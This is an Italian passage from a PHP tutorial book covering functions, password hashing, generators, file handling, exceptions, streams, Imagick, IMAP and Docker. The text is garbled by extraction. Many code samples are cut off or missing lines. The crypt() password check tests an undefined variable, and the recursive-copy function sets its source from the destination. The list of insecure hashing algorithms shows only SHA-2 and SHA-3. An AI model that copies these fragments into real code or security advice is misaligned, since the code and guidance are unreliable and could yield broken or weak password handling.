Pertanto, ora è possibile creare facilmente funzioni di reindirizzamento per funzioni variad, ad
esempio:
Oltre agli array, possono essere utilizzati anche i Traversable , come Iterator (specialmente molte
delle sue sottoclassi da SPL). Per esempio:
https://riptutorial.com/it/home 208
Ambito della funzione
Le variabili all'interno delle funzioni si trovano all'interno di un ambito locale come questo
$number = 5
function foo(){
$number = 10
return $number
}
foo(); //Will print 10 because text defined inside function is a local variable
https://riptutorial.com/it/home 209
Capitolo 42: Funzioni di hashing della
password
introduzione
Poiché i servizi web più sicuri evitano di archiviare le password in formato di testo normale, le
lingue come PHP offrono varie (non decodificabili) funzioni hash per supportare lo standard
industriale più sicuro. Questo argomento fornisce documentazione per l'hashing corretto con PHP.
Sintassi
• string password_hash ( string $password , integer $algo [, array $options ] )
• boolean password_verify ( string $password , string $hash )
• boolean password_needs_rehash ( string $hash , integer $algo [, array $options ] )
• array password_get_info ( string $hash )
Osservazioni
Prima di PHP 5.5, è possibile utilizzare il pacchetto di compatibilità per fornire le funzioni
password_* . Si consiglia vivamente di utilizzare il pacchetto di compatibilità se si è in grado di farlo.
Con o senza il pacchetto di compatibilità, la corretta funzionalità di Bcrypt tramite crypt() si basa
su PHP 5.3.7+ altrimenti è necessario limitare le password ai set di caratteri solo ASCII.
Nota: se usi PHP 5.5 o versioni precedenti stai utilizzando una versione di PHP non
supportata che non riceve più alcun aggiornamento di sicurezza. Aggiorna il prima
possibile, puoi aggiornare gli hash delle password in seguito.
Selezione dell'algoritmo
Algoritmi sicuri
• bcrypt è la tua migliore opzione se usi il key stretching per aumentare il tempo di calcolo
dell'hash, poiché rende gli attacchi brute force estremamente lenti .
• argon2 è un'altra opzione che sarà disponibile in PHP 7.2 .
Algoritmi insicuri
I seguenti algoritmi di hashing non sono sicuri o non sono adatti allo scopo e pertanto non
dovrebbero essere utilizzati . Non sono mai stati adatti per l'hashing della password, in quanto
sono progettati per diger veloci invece che per gli hash delle password con forza bruta e lenta.
Se ne usi qualcuno , incluso anche sali, dovresti passare ad uno degli algoritmi sicuri
raccomandati il prima possibile .
https://riptutorial.com/it/home 210
Algoritmi considerati insicuri:
Alcuni algoritmi possono essere tranquillamente utilizzati come algoritmo di digest del messaggio
per dimostrare l'autenticità, ma mai come algoritmo di hashing della password :
• SHA-2
• SHA-3
Nota: gli hash forti come SHA256 e SHA512 sono ininterrotti e robusti, tuttavia è generalmente più
sicuro utilizzare le funzioni di hash bcrypt o argon2 poiché gli attacchi di forza bruta contro questi
algoritmi sono molto più difficili per i computer classici.
Examples
Determina se un hash della password esistente può essere aggiornato ad un
algoritmo più forte
<?php
// first determine if a supplied password is valid
if (password_verify($plaintextPassword, $hashedPassword)) {
// now determine if the existing hash was created with an algorithm that is
// no longer the default
if (password_needs_rehash($hashedPassword, PASSWORD_DEFAULT)) {
Se le funzioni password_ * non sono disponibili sul sistema (e non è possibile utilizzare il
pacchetto di compatibilità collegato nelle osservazioni seguenti), è possibile determinare
l'algoritmo e utilizzare per creare l'hash originale in un metodo simile al seguente:
<?php
if (substr($hashedPassword, 0, 4) == '$2y$' && strlen($hashedPassword) == 60) {
echo 'Algorithm is Bcrypt';
// the "cost" determines how strong this version of Bcrypt is
preg_match('/\$2y\$(\d+)\$/', $hashedPassword, $matches);
$cost = $matches[1];
https://riptutorial.com/it/home 211
echo 'Bcrypt cost is '.$cost;
}
?>
Crea hash delle password usando password_hash() per utilizzare l'attuale hash standard di best
practice del settore o la derivazione della chiave. Al momento della stesura, lo standard è bcrypt ,
il che significa che PASSWORD_DEFAULT contiene lo stesso valore di PASSWORD_BCRYPT .
$options = [
'cost' => 12,
];
Il valore 'cost' dovrebbe essere scelto in base all'hardware del server di produzione.
Aumentandolo si renderà la password più costosa da generare. Più è costoso generare più tempo
ci vorrà chiunque cerchi di craccarlo per generarlo anche. Il costo dovrebbe idealmente essere il
più alto possibile, ma in pratica dovrebbe essere impostato in modo che non rallenti troppo. Da
qualche parte tra 0,1 e 0,4 secondi andrebbe bene. Usa il valore predefinito in caso di dubbio.
5.5
Su PHP inferiore a 5.5.0 le funzioni password_* non sono disponibili. È necessario utilizzare il
pacchetto di compatibilità per sostituire tali funzioni. Si noti che il pacchetto di compatibilità
richiede PHP 5.3.7 o versioni successive o una versione con backport di $2y (come ad esempio
RedHat).
Se non si è in grado di utilizzarli, è possibile implementare l'hashing della password con crypt()
Poiché password_hash() è implementata come wrapper attorno alla funzione crypt() , non è
necessario perdere alcuna funzionalità.
https://riptutorial.com/it/home 212
}
Un salt è qualcosa che viene aggiunto alla password prima dell'hashing per rendere la stringa di
origine univoca. Con due password identiche, gli hash risultanti saranno anche unici, poiché i loro
sali sono unici.
Un sale casuale è uno dei pezzi più importanti della sicurezza della tua password. Ciò significa
che anche con una tabella di ricerca di hash di password noti, un utente malintenzionato non può
abbinare l'hash della password dell'utente con gli hash delle password del database poiché è stata
utilizzata una sequenza casuale. Dovresti usare sempre sali casuali e crittograficamente sicuri.
Leggi di più
Con l'algoritmo bcrypt password_hash() , il testo semplice sale viene archiviato insieme all'hash
risultante, il che significa che l'hash può essere trasferito su diversi sistemi e piattaforme e deve
ancora essere abbinato alla password originale.
7.0
Anche quando questo è scoraggiato, puoi usare l'opzione salt per definire il tuo sale casuale.
$options = [
'salt' => $salt, //see example below
];
Importante Se si omette questa opzione, verrà generato un salt casuale da password_hash () per
ogni hash della password. Questa è la modalità di funzionamento prevista.
7.0
L'opzione salt è stata deprecata a partire da PHP 7.0.0. Ora è preferibile utilizzare semplicemente
il sale che viene generato di default.
password_verify()è la funzione built-in fornita (a partire da PHP 5.5) per verificare la validità di una
password rispetto a un hash noto.
<?php
if (password_verify($plaintextPassword, $hashedPassword)) {
echo 'Valid Password';
}
else {
echo 'Invalid Password.';
}
?>
https://riptutorial.com/it/home 213
Tutti gli algoritmi di hashing supportati memorizzano le informazioni identificando quale hash è
stato utilizzato nell'hash stesso, quindi non è necessario indicare quale algoritmo si sta utilizzando
per codificare la password in chiaro con.
Se le funzioni password_ * non sono disponibili sul sistema (e non è possibile utilizzare il
pacchetto di compatibilità collegato nei commenti seguenti) è possibile implementare la verifica
della password con la funzione crypt() . Si prega di notare che devono essere prese precauzioni
specifiche per evitare attacchi a tempo .
<?php
// not guaranteed to maintain the same cryptographic strength of the full `password_hash()`
// implementation
if (CRYPT_BLOWFISH == 1) {
// `crypt()` discards all characters beyond the salt length, so we can pass in
// the full hashed password
$hashedCheck = crypt($plaintextPassword, $hashedPassword);
if ($status === 0) {
echo 'Valid Password';
}
else {
echo 'Invalid Password';
}
}
?>
https://riptutorial.com/it/home 214
Capitolo 43: generatori
Examples
Perché usare un generatore?
I generatori sono utili quando è necessario generare una grande raccolta per iterare più tardi.
Sono un'alternativa più semplice alla creazione di una classe che implementa un Iterator , che
spesso è eccessivo.
return $array;
}
Tutto ciò che fa questa funzione genera un array riempito con numeri casuali. Per usarlo,
potremmo fare randomNumbers(10) , che ci darà una matrice di 10 numeri casuali. Cosa succede se
vogliamo generare un milione di numeri casuali? randomNumbers(1000000) lo farà per noi, ma a un
costo di memoria. Un milione di interi memorizzati in un array utilizza circa 33 megabyte di
memoria.
$startMemory = memory_get_usage();
$randomNumbers = randomNumbers(1000000);
Ciò è dovuto all'intero milione di numeri casuali generati e restituiti contemporaneamente, anziché
uno alla volta. I generatori sono un modo semplice per risolvere questo problema.
<?php
https://riptutorial.com/it/home 215
}
}
Utilizzando un generatore, non è necessario creare un intero elenco di numeri casuali per tornare
dalla funzione, con conseguente riduzione della memoria utilizzata.
Un caso d'uso comune per i generatori è la lettura di un file dal disco e l'iterazione del suo
contenuto. Di seguito è riportata una classe che consente di eseguire l'iterazione su un file CSV.
L'utilizzo della memoria per questo script è molto prevedibile e non fluttuerà a seconda delle
dimensioni del file CSV.
<?php
class CsvReader
{
protected $file;
yield $row;
}
return;
}
}
Un'istruzione yield è simile a un'istruzione return, tranne che invece di arrestare l'esecuzione della
funzione e restituirla, yield restituisce invece un oggetto Generator e sospende l'esecuzione della
funzione del generatore.
function gen_one_to_three() {
https://riptutorial.com/it/home 216
for ($i = 1; $i <= 3; $i++) {
// Note that $i is preserved between yields.
yield $i;
}
}
Puoi vedere che questa funzione restituisce un oggetto generatore controllando l'output di
var_dump :
var_dump(gen_one_to_three())
# Outputs:
class Generator (0) {
}
Valori cedevoli
L'oggetto Generator può quindi essere ripetuto come un array.
1
2
3
function gen_one_to_three() {
$keys = ["first", "second", "third"];
first: 1
https://riptutorial.com/it/home 217
second: 2
third: 3
I generatori sono codificati rapidamente e in molti casi sono un'alternativa sottile alle
implementazioni iteratore pesanti. Con l'implementazione rapida arriva un po 'di mancanza di
controllo quando un generatore dovrebbe smettere di generare o se dovrebbe generare
qualcos'altro. Tuttavia questo può essere ottenuto con l'uso della funzione send() , consentendo
alla funzione di richiesta di inviare parametri al generatore dopo ogni ciclo.
//Imagining accessing a large amount of data from a server, here is the generator for this:
function generateDataFromServerDemo()
{
$indexCurrentRun = 0; //In this example in place of data from the server, I just send
feedback everytime a loop ran through.
$timeout = false;
while (!$timeout)
{
$timeout = yield $indexCurrentRun; // Values are passed to caller. The next time the
generator is called, it will start at this statement. If send() is used, $timeout will take
this value.
$indexCurrentRun++;
}
https://riptutorial.com/it/home 218
Leggi generatori online: https://riptutorial.com/it/php/topic/1684/generatori
https://riptutorial.com/it/home 219
Capitolo 44: Gestione dei file
Sintassi
• int readfile (string $ filename [, bool $ use_include_path = false [, resource $ context]])
Parametri
Parametro Descrizione
Osservazioni
1. Archi in natura.
• I nomi dei file possono essere passati direttamente. Se vengono passati i valori di altri
tipi, vengono convertiti in stringa. Questo è particolarmente utile con SplFileInfo , che è
il valore SplFileInfo di DirectoryIterator .
2. Relativo o assoluto.
• Possono essere assoluti. Sui sistemi Unix, i percorsi assoluti iniziano con / , ad
esempio /home/user/file.txt , mentre su Windows i percorsi assoluti iniziano con
l'unità, ad es. C:/Users/user/file.txt
• Possono anche essere relativi, che dipende dal valore di getcwd e soggetti a modifiche
da parte di chdir .
3. Accetta i protocolli.
• Possono iniziare con scheme:// per specificare il wrapper del protocollo con cui gestire.
Ad esempio, file_get_contents("http://example.com") recupera il contenuto da
http://example.com .
4. Slash-compatibili.
• Mentre il DIRECTORY_SEPARATOR su Windows è una barra rovesciata e il sistema
restituisce i backslash per i percorsi per impostazione predefinita, lo sviluppatore può
ancora usare / come separatore di directory. Pertanto, per ragioni di compatibilità, gli
sviluppatori possono utilizzare / come separatori di directory su tutti i sistemi, ma
tenere presente che i valori restituiti dalle funzioni (ad es. realpath ) possono contenere
https://riptutorial.com/it/home 220
barre retroverse.
Examples
Eliminazione di file e directory
Eliminazione di file
La funzione di unlink cancella un singolo file e restituisce se l'operazione ha avuto successo.
$filename = '/path/to/file.txt';
if (file_exists($filename)) {
$success = unlink($filename);
if (!$success) {
throw new Exception("Cannot delete $filename");
}
}
L'esempio seguente esegue la scansione dei file in una directory, cancella i file / directory dei
membri in modo ricorsivo e restituisce il numero di file (non di directory) cancellati.
// ensure that $dir ends with a slash so that we can concatenate it with the filenames
directly
$dir = rtrim($dir, "/\\") . "/";
// store the next file name to $file. if $file is false, that's all -- end the loop.
while(($file = $list->read()) !== false) {
if($file === "." || $file === "..") continue;
if(is_file($dir . $file)) {
unlink($dir . $file);
$count++;
} elseif(is_dir($dir . $file)) {
$count += recurse_delete_dir($dir . $file);
}
https://riptutorial.com/it/home 221
}
return $count;
}
Funzioni di convenienza
IO diretto raw
file_get_contents e file_put_contents forniscono la possibilità di leggere / scrivere da / su un file
da / a una stringa PHP in una singola chiamata.
file_put_contents può anche essere utilizzato con il flag di FILE_APPEND da aggiungere a, anziché
troncare e sovrascrivere il file. Può essere usato insieme alla LOCK_EX bit LOCK_EX per acquisire un
blocco esclusivo per il file mentre si procede alla scrittura. I flag di bitmask possono essere uniti
con | Operatore OR bit a bit.
$path = "file.txt";
// reads contents in file.txt to $contents
$contents = file_get_contents($path);
// let's change something... for example, convert the CRLF to LF!
$contents = str_replace("\r\n", "\n", $contents);
// now write it back to file.txt, replacing the original contents
file_put_contents($path, $contents);
FILE_APPEND è utile per aggiungere file di registro mentre LOCK_EX aiuta a prevenire le condizioni di
competizione della scrittura di file da più processi. Ad esempio, per scrivere in un file di registro
relativo alla sessione corrente:
CSV IO
fgetcsv($file, $length, $separator)
fgetcsv analizza la riga dal controllo di file aperti per i campi csv. Restituisce i campi CSV in una
matrice in caso di successo o FALSE in caso di errore.
Per impostazione predefinita, leggerà solo una riga del file CSV.
$file = fopen("contacts.csv","r");
print_r(fgetcsv($file));
print_r(fgetcsv($file,5," "));
fclose($file);
https://riptutorial.com/it/home 222
contacts.csv
Produzione:
Array
(
[0] => Kai Jim
[1] => Refsnes
[2] => Stavanger
[3] => Norway
)
Array
(
[0] => Hege,
)
$file = 'monkey.gif';
if (file_exists($file)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($file).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
readfile($file);
exit;
}
O da un puntatore di file
In alternativa, per cercare un punto nel file per iniziare a copiare su stdout, usa invece fpassthru .
Nell'esempio seguente, gli ultimi 1024 byte vengono copiati su stdout:
https://riptutorial.com/it/home 223
restituisce le righe nel file passato in un array. Ogni elemento dell'array corrisponde a una linea
nel file, con il newline ancora collegato.
print_r(file("test.txt"));
test.txt
Produzione:
Array
(
[0] => Welcome to File handling
[1] => This is to test file handling
)
$dir = "/this/is/a/directory";
$file = "/this/is/a/file.txt";
Questo da:
/this/is/a/directory is a directory
/this/is/a/directory is not a file
/this/is/a/directory exists
/this/is/a/file.txt is not a directory
/this/is/a/file.txt is a file
/this/is/a/file.txt exists
https://riptutorial.com/it/home 224
Usa filetype per verificare il tipo di file, che può essere:
• fifo
• char
• dir
• block
• link
• file
• socket
• unknown
Si noti che filetype restituisce false e attiva E_WARNING se il file non esiste.
$filePathParts = pathinfo($fileToAnalyze);
echo '<pre>';
print_r($filePathParts);
echo '</pre>';
https://riptutorial.com/it/home 225
Array
(
[dirname] => /var/www
[basename] => image.png
[extension] => png
[filename] => image
)
$filePathParts['dirname']
$filePathParts['basename']
$filePathParts['extension']
$filePathParts['filename']
Parametro Dettagli
• Se non viene passata un'opzione (il secondo parametro), viene restituito un array
associativo, altrimenti viene restituita una stringa.
• Non convalida che il file esiste.
• Semplicemente analizza la stringa in parti. Nessuna convalida sul file (nessun controllo di
tipo mime, ecc.)
• L'estensione è semplicemente l'ultima estensione di $path Il percorso per il file image.jpg.png
sarebbe .png anche se tecnicamente un file .jpg . Un file senza un'estensione non restituirà
un elemento di estensione nell'array.
Riduci al minimo l'utilizzo della memoria quando lavori con file di grandi
dimensioni
var_dump(memory_get_usage(true));
$arr = file('top-1m.csv');
var_dump(memory_get_usage(true));
Questo produce:
https://riptutorial.com/it/home 226
int(262144)
int(210501632)
perché l'interprete doveva contenere tutte le righe nell'array $arr , quindi consumava ~ 200 Mbyte
di RAM. Nota che non abbiamo ancora fatto nulla con il contenuto dell'array.
var_dump(memory_get_usage(true));
$index = 1;
if (($handle = fopen("top-1m.csv", "r")) !== FALSE) {
while (($row = fgetcsv($handle, 1000, ",")) !== FALSE) {
file_put_contents('top-1m-reversed.csv',$index . ',' . strrev($row[1]) . PHP_EOL,
FILE_APPEND);
$index++;
}
fclose($handle);
}
var_dump(memory_get_usage(true));
quali uscite
int(262144)
int(262144)
quindi non usiamo un singolo byte di memoria in più, ma analizziamo l'intero CSV e lo salviamo su
un altro file invertendo il valore della seconda colonna. Questo perché fgetcsv legge solo una riga
e $row viene sovrascritta in ogni ciclo.
Aprire un flusso
fopen apre un handle di file stream, che può essere utilizzato con varie funzioni per la lettura,
scrittura, ricerca e altre funzioni su di esso. Questo valore è di tipo di resource e non può essere
passato ad altri thread mantenendo la sua funzionalità.
Modalità Descrizione
aperto solo per scrittura, a partire dall'inizio del file. Se il file esiste, svuoterà il file.
w
Se non esiste cercherà di crearlo.
https://riptutorial.com/it/home 227
Modalità Descrizione
aperto per leggere e scrivere, a partire dall'inizio del file. Se il file esiste, svuoterà
w+
il file. Se non esiste cercherà di crearlo.
apri un file solo per scrittura, a partire dalla fine del file. Se il file non esiste,
a
proverà a crearlo
apri un file per leggere e scrivere, iniziando alla fine del file. Se il file non esiste,
a+
proverà a crearlo
x crea e apri un file solo per scrittura. Se il file esiste, la chiamata fopen fallirà
x+ crea e apri un file per leggere e scrivere. Se il file esiste, la chiamata fopen fallirà
apri il file solo per scrittura. Se il file non esiste, proverà a crearlo. Comincerà a
c
scrivere all'inizio del file, ma non svuoterà il file prima della scrittura
apri il file per leggere e scrivere. Se il file non esiste, proverà a crearlo. Comincerà
c+
a scrivere all'inizio del file, ma non svuoterà il file prima della scrittura
L'aggiunta di una t alla modalità (es. A a+b , wt , ecc.) In Windows tradurrà "\n" terminazioni di riga
in "\r\n" quando si lavora con il file. Aggiungi b dietro la modalità se questo non è previsto,
specialmente se si tratta di un file binario.
L'applicazione PHP deve chiudere gli stream utilizzando fclose quando non vengono più utilizzati
per impedire l'errore Too many open files . Ciò è particolarmente importante nei programmi CLI, dal
momento che gli stream vengono chiusi solo quando il runtime si arresta, questo significa che nei
web server potrebbe non essere necessario (ma dovrebbe comunque, come pratica per prevenire
perdite di risorse) chiudere i flussi se non si prevede che il processo venga eseguito per un lungo
periodo e non si apriranno più flussi.
Lettura
L'uso di fread leggerà il numero dato di byte dal puntatore del file o fino a quando non viene
raggiunto un EOF.
Linee di lettura
L'uso di fgets leggerà il file fino a quando non viene raggiunto un EOL o viene letta la lunghezza
specificata.
Sia fread che fgets spostano il puntatore del file durante la lettura.
https://riptutorial.com/it/home 228
stringa e restituiti.
• SEEK_SET : questo è il valore predefinito; l'offset della posizione del file sarà relativo all'inizio
del file.
• SEEK_CUR : lo spostamento della posizione del file sarà relativo alla posizione corrente.
• SEEK_END : l'offset della posizione del file sarà relativo alla fine del file. Passare un offset
negativo è l'uso più comune di questo valore; sposterà la posizione del file sul numero
specificato di byte prima della fine del file.
Ad esempio, il seguente script legge salta i primi 10 byte, legge i 10 byte successivi, salta 10 byte,
legge i 10 byte successivi e quindi gli ultimi 10 byte in file.txt:
scrittura
L'utilizzo di fwrite scrive la stringa fornita nel file partendo dal puntatore del file corrente.
Copia di file
copy copia il file sorgente nel primo argomento nella destinazione nel secondo argomento. La
destinazione risolta deve trovarsi in una directory già creata.
https://riptutorial.com/it/home 229
if (copy('test.txt', 'dest.txt')) {
echo 'File has been copied successfully';
} else {
echo 'Failed to copy file to destination given.'
}
// ensure that $src and $dest end with a slash so that we can concatenate it with the
filenames directly
$src = rtrim($dest, "/\\") . "/";
$dest = rtrim($dest, "/\\") . "/";
// store the next file name to $file. if $file is false, that's all -- end the loop.
while(($file = $list->read()) !== false) {
if($file === "." || $file === "..") continue;
if(is_file($src . $file)) {
copy($src . $file, $dest . $file);
$count++;
} elseif(is_dir($src . $file)) {
$count += recurse_copy_dir($src . $file, $dest . $file);
}
}
return $count;
}
Rinominare / Moving
Rinominare / spostare file e directory è molto più semplice. Intere directory possono essere
spostate o rinominate in una singola chiamata, usando la funzione di rename .
• rename("~/file.txt", "~/file.html");
• rename("~/dir", "~/old_dir");
• rename("~/dir/file.txt", "~/dir2/file.txt");
https://riptutorial.com/it/home 230
Capitolo 45: Gestione delle eccezioni e
segnalazione degli errori
Examples
Impostazione della segnalazione degli errori e dove visualizzarli
Se non è già stato fatto in php.ini, la segnalazione degli errori può essere impostata
dinamicamente e dovrebbe essere impostata per consentire la visualizzazione della maggior parte
degli errori:
Sintassi
Esempi
// -1 will show every possible error, even when new levels and constants are added
// in future PHP versions. E_ALL does the same up to 5.4.
error_reporting(-1);
// without notices
error_reporting(E_ALL & ~E_NOTICE);
gli errori verranno registrati di default da php, normalmente in un file error.log allo stesso livello
dello script in esecuzione.
ini_set('display_errors', 1);
ini_set('display_errors', 0);
https://riptutorial.com/it/home 231
prova a prendere
try..catch blocchi di controllo possono essere utilizzati per controllare il flusso di un programma in
cui possono essere lanciate eccezioni . Possono essere catturati e gestiti con garbo piuttosto che
lasciare che PHP si fermi quando viene incontrato:
try {
// Do a bunch of things...
throw new Exception('My test exception!');
} catch (Exception $ex) {
// Your logic failed. What do you want to do about that? Log it:
file_put_contents('my_error_log.txt', $ex->getMessage(), FILE_APPEND);
}
L'esempio precedente catch l'eccezione lanciata nel blocco try e registrerà il suo messaggio ("My
test exception!") In un file di testo.
try {
throw new InvalidArgumentException('Argument #1 must be an integer!');
} catch (InvalidArgumentException $ex) {
var_dump('Invalid argument exception caught: ' . $ex->getMessage());
} catch (Exception $ex) {
var_dump('Standard exception caught: ' . $ex->getMessage());
}
Nell'esempio precedente verrà utilizzato il primo catch poiché corrisponde per primo nell'ordine di
esecuzione. Se si scambia l'ordine delle istruzioni catch , il catcher Exception eseguito per primo.
finalmente
Se avete bisogno di qualcosa da fare dopo il verificarsi di una try o un catch corsa è terminata, è
possibile utilizzare una finally dichiarazione:
try {
throw new Exception('Hello world');
} catch (Exception $e) {
echo 'Uh oh! ' . $e->getMessage();
} finally {
echo " - I'm finished now - home time!";
}
https://riptutorial.com/it/home 232
Uh Oh! Ciao mondo - Sono finito ora - A casa!
throwable
In PHP 7 vediamo l'introduzione dell'interfaccia Throwable , che implementa Error e Exception .
Questo aggiunge un livello di contratto di servizio tra le eccezioni in PHP 7 e consente di
implementare l'interfaccia per le proprie eccezioni personalizzate:
Prima di PHP 7 puoi semplicemente digitare Exception poiché da PHP 5 tutte le classi di eccezioni
lo estendono.
In PHP, un errore fatale è un tipo di errore che non può essere rilevato, ovvero, dopo aver
riscontrato un errore irreversibile, un programma non viene ripristinato. Tuttavia, per registrare
questo errore o in qualche modo gestire l'arresto è possibile utilizzare register_shutdown_function
per registrare il gestore di shutdown.
function fatalErrorHandler() {
// Let's get last error that was fatal.
$error = error_get_last();
fprintf(
$logFile,
"[%s] %s: %s in %s:%d\n",
date("Y-m-d H:i:s"),
$type,
$message,
$file,
https://riptutorial.com/it/home 233
$line);
fclose($logFile);
}
register_shutdown_function('fatalErrorHandler');
Riferimento:
• http://php.net/manual/en/function.register-shutdown-function.php
• http://php.net/manual/en/function.error-get-last.php
• http://php.net/manual/en/errorfunc.constants.php
https://riptutorial.com/it/home 234
Capitolo 46: I flussi
Sintassi
• Ogni stream ha uno schema e un obiettivo:
• <Schema>: // <target>
Parametri
Osservazioni
Gli stream sono essenzialmente un trasferimento di dati tra un'origine e una destinazione, per
parafrasare Josh Lockhart nel suo libro Modern PHP.
• un file
• un processo da riga di comando
• una connessione di rete
• un archivio ZIP o TAR
• memoria temporanea
• input / output standard
Lo schema (origine) è l'identificatore del wrapper del flusso. Ad esempio, per il file system questo
è il file:// . La destinazione è l'origine dati del flusso, ad esempio il nome del file.
Examples
https://riptutorial.com/it/home 235
Registrazione di un wrapper di flusso
L'esempio seguente mostra un semplice wrapper di flusso che invia richieste HTTP PATCH quando
lo stream viene chiuso.
class FooWrapper {
// this will be modified by PHP to show the context passed in the current call.
public $context;
// when fopen() with a protocol for this wrapper is called, this method can be implemented
to store data like the host.
public function stream_open(string $path, string $mode, int $options, string &$openedPath)
: bool {
$url = parse_url($path);
if($url === false) return false;
$this->url = $url["host"] . "/" . $url["path"];
return true;
}
https://riptutorial.com/it/home 236
Questo esempio mostra solo alcuni esempi di ciò che un wrapper di flusso generico conterrebbe.
Questi non sono tutti i metodi disponibili. Un elenco completo di metodi che possono essere
implementati può essere trovato su http://php.net/streamWrapper .
https://riptutorial.com/it/home 237
Capitolo 47: imagick
Examples
Primi passi
Installazione
uso
<?php
echo $imagen;
?>
Questo esempio mostra come trasformare un'immagine in una stringa Base64 (cioè una stringa
che è possibile utilizzare direttamente in un attributo src di un tag img ). Questo esempio utilizza
specificamente la libreria Imagick (ce ne sono altri disponibili, come GD ).
<?php
/**
* This loads in the file, image.jpg for manipulation.
* The filename path is releative to the .php file containing this code, so
* in this example, image.jpg should live in the same directory as our script.
*/
$img = new Imagick('image.jpg');
/**
https://riptutorial.com/it/home 238
* This resizes the image, to the given size in the form of width, height.
* If you want to change the resolution of the image, rather than the size
* then $img->resampleimage(320, 240) would be the right function to use.
*
* Note that for the second parameter, you can set it to 0 to maintain the
* aspect ratio of the original image.
*/
$img->resizeImage(320, 240);
/**
* This returns the unencoded string representation of the image
*/
$imgBuff = $img->getimageblob();
/**
* This clears the image.jpg resource from our $img object and destroys the
* object. Thus, freeing the system resources allocated for doing our image
* manipulation.
*/
$img->clear();
/**
* This creates the base64 encoded version of our unencoded string from
* earlier. It is then output as an image to the page.
*
* Note, that in the src attribute, the image/jpeg part may change based on
* the image type you're using (i.e. png, jpg etc).
*/
$img = base64_encode($imgBuff);
echo "<img alt='Embedded Image' src='data:image/jpeg;base64,$img' />";
https://riptutorial.com/it/home 239
Capitolo 48: IMAP
Examples
Installa l'estensione IMAP
Per fare qualsiasi cosa con un account IMAP è necessario prima connettersi ad esso. Per fare
questo è necessario specificare alcuni parametri obbligatori:
imap, pop3,
/service=service Quale servizio usare imap
nntp, smtp
https://riptutorial.com/it/home 240
Bandiera Descrizione Opzioni Predefinito
{imap.example.com:993/imap/tls/secure}
Si noti che se uno qualsiasi dei caratteri nella stringa di connessione non è ASCII, deve essere
codificato con utf7_encode ($ stringa) .
Per connettersi alla casella di posta, utilizziamo il comando imap_open che restituisce un valore di
risorsa che punta a uno stream:
<?php
https://riptutorial.com/it/home 241
$mailbox = imap_open("{imap.example.com:993/imap/tls/secure}", "username", "password");
if ($mailbox === false) {
echo "Failed to connect to server";
}
Dopo esserti connesso alla tua casella di posta, vorrai dare un'occhiata dentro. Il primo comando
utile è imap_list . Il primo parametro è la risorsa che hai acquisito da imap_open , la seconda è la
stringa della tua casella di posta e la terza è una stringa di ricerca fuzzy ( * è usata per abbinare
qualsiasi modello).
Array
(
[0] => {imap.example.com:993/imap/tls/secure}INBOX
[1] => {imap.example.com:993/imap/tls/secure}INBOX.Sent
[2] => {imap.example.com:993/imap/tls/secure}INBOX.Drafts
[3] => {imap.example.com:993/imap/tls/secure}INBOX.Junk
[4] => {imap.example.com:993/imap/tls/secure}INBOX.Trash
)
Puoi usare il terzo parametro per filtrare questi risultati in questo modo:
Array
(
[0] => {imap.example.com:993/imap/tls/secure}INBOX.Sent
)
Nota : l'uso di * come ricerca fuzzy restituirà tutte le corrispondenze in modo ricorsivo. Se si
utilizza % , verranno restituite solo le corrispondenze nella cartella corrente specificata.
Puoi restituire un elenco di tutti i messaggi in una casella di posta usando imap_headers .
<?php
$headers = imap_headers($mailbox);
https://riptutorial.com/it/home 242
Il risultato è un array di stringhe con il seguente modello:
Nota che questa chiamata potrebbe richiedere una buona quantità di tempo per essere
eseguita e potrebbe restituire un elenco molto ampio.
Ci sono un certo numero di funzioni per accedere direttamente a una email, ma il modo più
semplice è usare imap_header che restituisce le informazioni di intestazione strutturate:
<?php
$header = imap_headerinfo($mailbox , 1);
stdClass Object
(
[date] => Wed, 19 Oct 2011 17:34:52 +0000
[subject] => Message Subject
[message_id] => <04b80ceedac8e74$51a8d50dd$0206600a@user1687763490>
[references] => <[email protected]>
[toaddress] => Some One Else <[email protected]>
[to] => Array
(
[0] => stdClass Object
(
[personal] => Some One Else
[mailbox] => someonelse
https://riptutorial.com/it/home 243
[host] => example.com
)
)
[fromaddress] => Some One <[email protected]>
[from] => Array
(
[0] => stdClass Object
(
[personal] => Some One
[mailbox] => someone
[host] => example.com
)
)
[reply_toaddress] => Some One <[email protected]>
[reply_to] => Array
(
[0] => stdClass Object
(
[personal] => Some One
[mailbox] => someone
[host] => example.com
)
)
[senderaddress] => Some One <[email protected]>
[sender] => Array
(
[0] => stdClass Object
(
[personal] => Some One
[mailbox] => someone
[host] => example.com
)
)
[Recent] =>
[Unseen] =>
[Flagged] =>
[Answered] =>
[Deleted] =>
[Draft] =>
[Msgno] => 1
[MailDate] => 19-Oct-2011 17:34:48 +0000
[Size] => 1728
[udate] => 1319038488
)
https://riptutorial.com/it/home 244
Capitolo 49: Implementazione di Docker
introduzione
Docker è una soluzione contenitore molto popolare ampiamente utilizzata per la distribuzione di
codice negli ambienti di produzione. Semplifica la gestione e la scalabilità di applicazioni Web e
microservizi.
Osservazioni
Questo documento presuppone che sia installata la finestra mobile e che il daemon sia in
esecuzione. È possibile fare riferimento all'installazione di Docker per verificare come installare lo
stesso.
Examples
Ottieni immagine docker per php
Per distribuire l'applicazione sulla finestra mobile, è necessario prima ottenere l'immagine dal
registro.
Questo ti porterà l'ultima versione di immagine dal repository php ufficiale . In generale, PHP viene
